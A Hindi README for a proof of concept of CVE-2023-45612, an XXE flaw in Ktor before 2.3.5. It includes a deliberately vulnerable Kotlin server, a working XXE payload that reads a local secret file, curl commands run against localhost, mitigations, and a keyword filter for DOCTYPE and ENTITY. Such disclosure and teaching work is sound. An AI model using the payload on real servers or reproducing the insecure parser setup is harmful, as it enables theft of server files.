
यह रिपॉजिटरी CVE-2023-45612 के लिए एक प्रूफ ऑफ कॉन्सेप्ट प्रदान करता है, जो JetBrains Ktor के 2.3.5 से पहले के संस्करणों में एक XML बाहरी एंटिटी (XXE) इंजेक्शन भेद्यता प्रदर्शित करता है।
यह रिपॉजिटरी CVE-2023-45612 में पहचाने गए XML एक्सटर्नल एंटिटी (XXE) इंजेक्शन कमजोरी को प्रदर्शित करने के लिए एक कमजोर Ktor सर्वर शामिल करता है।
यह कमजोरी Ktor संस्करण 2.3.5 से पहले मौजूद है जब ContentNegotiation प्लगइन का उपयोग डिफ़ॉल्ट xml() सीरियलाइज़र के साथ किया जाता है। डिफ़ॉल्ट XML पार्सर को बाहरी संस्थाओं के समाधान को रोकने के लिए कॉन्फ़िगर नहीं किया गया था, जिससे हमलावर सर्वर से मनमानी फ़ाइलें पढ़ सकते हैं।
निम्नलिखित अनुभाग आपके अपने पर एक्सप्लॉइट को पुनः बनाने के चरण हैं।
इस PoC के लिए मैंने जो संस्करण उपयोग किए:
IntelliJ IDEA में Netty इंजन, Gradle Kotlin और Ktor संस्करण 2.3.4 (या उससे पहले के संस्करण) के साथ एक Ktor प्रोजेक्ट बनाएं।
build.gradle.kts के अंदर आपको निम्नलिखित प्लगइन शामिल करना होगा:
kotlin("plugin.serialization") version "2.2.20"
और ये निर्भरताएँ;
implementation("io.ktor:ktor-server-content-negotiation")
implementation("io.ktor:ktor-serialization-kotlinx-xml")
Application.kt में सर्वर शुरू करने के लिए मुख्य फ़ंक्शन और इसे कॉन्फ़िगर करने के लिए module() फ़ंक्शन होना चाहिए। डिफ़ॉल्ट रूप से, xml() फ़ंक्शन एक XML पार्सर प्रारंभ करता है जो बाहरी संस्था प्रसंस्करण की अनुमति देता है।
fun Application.module() {
install(ContentNegotiation) {
xml()
}
configureRouting()
}
Routing.kt को एंडपॉइंट परिभाषित करना चाहिए जो दुर्भावनापूर्ण XML प्राप्त करेगा और पार्स करेगा।
@Serializable
data class Message(
@XmlElement
val message: String
)
fun Application.configureRouting() {
routing {
post("/message") {
try {
val receivedMessage = call.receive<Message>()
call.respondText("Message received: ${receivedMessage.message}")
} catch (e: Exception) {
call.respond(HttpStatusCode.BadRequest, "Error: ${e.message}")
}
}
}
}
एप्लिकेशन बनाएं और सर्वर शुरू करें।
./gradlew build
./gradlew run
एंडपॉइंट का परीक्षण करने के लिए, hello_message.xml नामक एक XML फ़ाइल बनाएं।
<Message>
<message>Hello, world!</message>
</Message>
आप इसे निम्नलिखित curl (Windows पर) के साथ निष्पादित कर सकते हैं:
curl.exe -X POST 'http://127.0.0.1:8080/message' --header 'Content-Type: application/xml' --data '@hello_message.xml'
और सफल होने पर आपको निम्नलिखित संदेश मिलना चाहिए:
Message received: Hello, world!
secret_file.txt बनाएं जिसमें कुछ टेक्स्ट हो। अंदर की जानकारी वही है जो हम अपने एक्सप्लॉइट से प्राप्त करना चाहते हैं।
exploit_message.xml नामक एक फ़ाइल बनाएं। इसकी सामग्री को secret_file.txt फ़ाइल की सामग्री के रूप में एक बाहरी संस्था &xxe; को परिभाषित करना चाहिए और फिर उस संस्था का उपयोग <message> टैग के अंदर करना चाहिए।
<!DOCTYPE Message [
<!ENTITY xxe SYSTEM "secret_file.txt">
]>
<Message>
<message>&xxe;</message>
</Message>
चल रहे सर्वर पर निम्नलिखित curl कमांड (Windows पर) निष्पादित करें:
curl.exe -X POST 'http://127.0.0.1:8080/message' --header 'Content-Type: application/xml' --data '@exploit_message.xml'
सर्वर secret_file.txt फ़ाइल को पढ़ेगा और HTTP प्रतिक्रिया में इसकी सामग्री वापस भेजेगा:
Message received: XXE was a success.
सबसे प्रभावी समाधान Ktor को संस्करण 2.3.5 या बाद में अपडेट करना है। वे एक सुरक्षित रूप से कॉन्फ़िगर किए गए डिफ़ॉल्ट XML पार्सर का उपयोग करते हैं जो डिफ़ॉल्ट रूप से दस्तावेज़ प्रकार परिभाषा प्रसंस्करण और बाहरी संस्थाओं को अक्षम करता है, जो सीधे इस XXE हमले को रोकता है। वैकल्पिक रूप से, आप XML पार्सर को मैन्युअल रूप से भी कॉन्फ़िगर कर सकते हैं।
रक्षा की एक अतिरिक्त परत के रूप में, कच्चे अनुरोध निकाय को सादे टेक्स्ट के रूप में पढ़ें और यदि इसमें <!DOCTYPE या <!ENTITY जैसे संदिग्ध कीवर्ड शामिल हैं, तो पार्सर तक पहुंचने से पहले ही इसे अस्वीकार कर दें।
यह कमजोरी XML पार्सिंग के लिए विशिष्ट है। यदि आपके एप्लिकेशन की आवश्यकताएं लचीली हैं, तो सबसे सुरक्षित परिवर्तन XML को पूरी तरह से टालना और एक ऐसे प्रारूप का उपयोग करना है जिसमें इस प्रकार की कमजोरी न हो, जैसे JSON।
अपनी लाइब्रेरीज़ में ज्ञात कमजोरियों की जाँच करके और सामान्य शोषणों के लिए अपने ऐप का परीक्षण करके सक्रिय रूप से सुरक्षा दोषों को खोजने का प्रयास करें।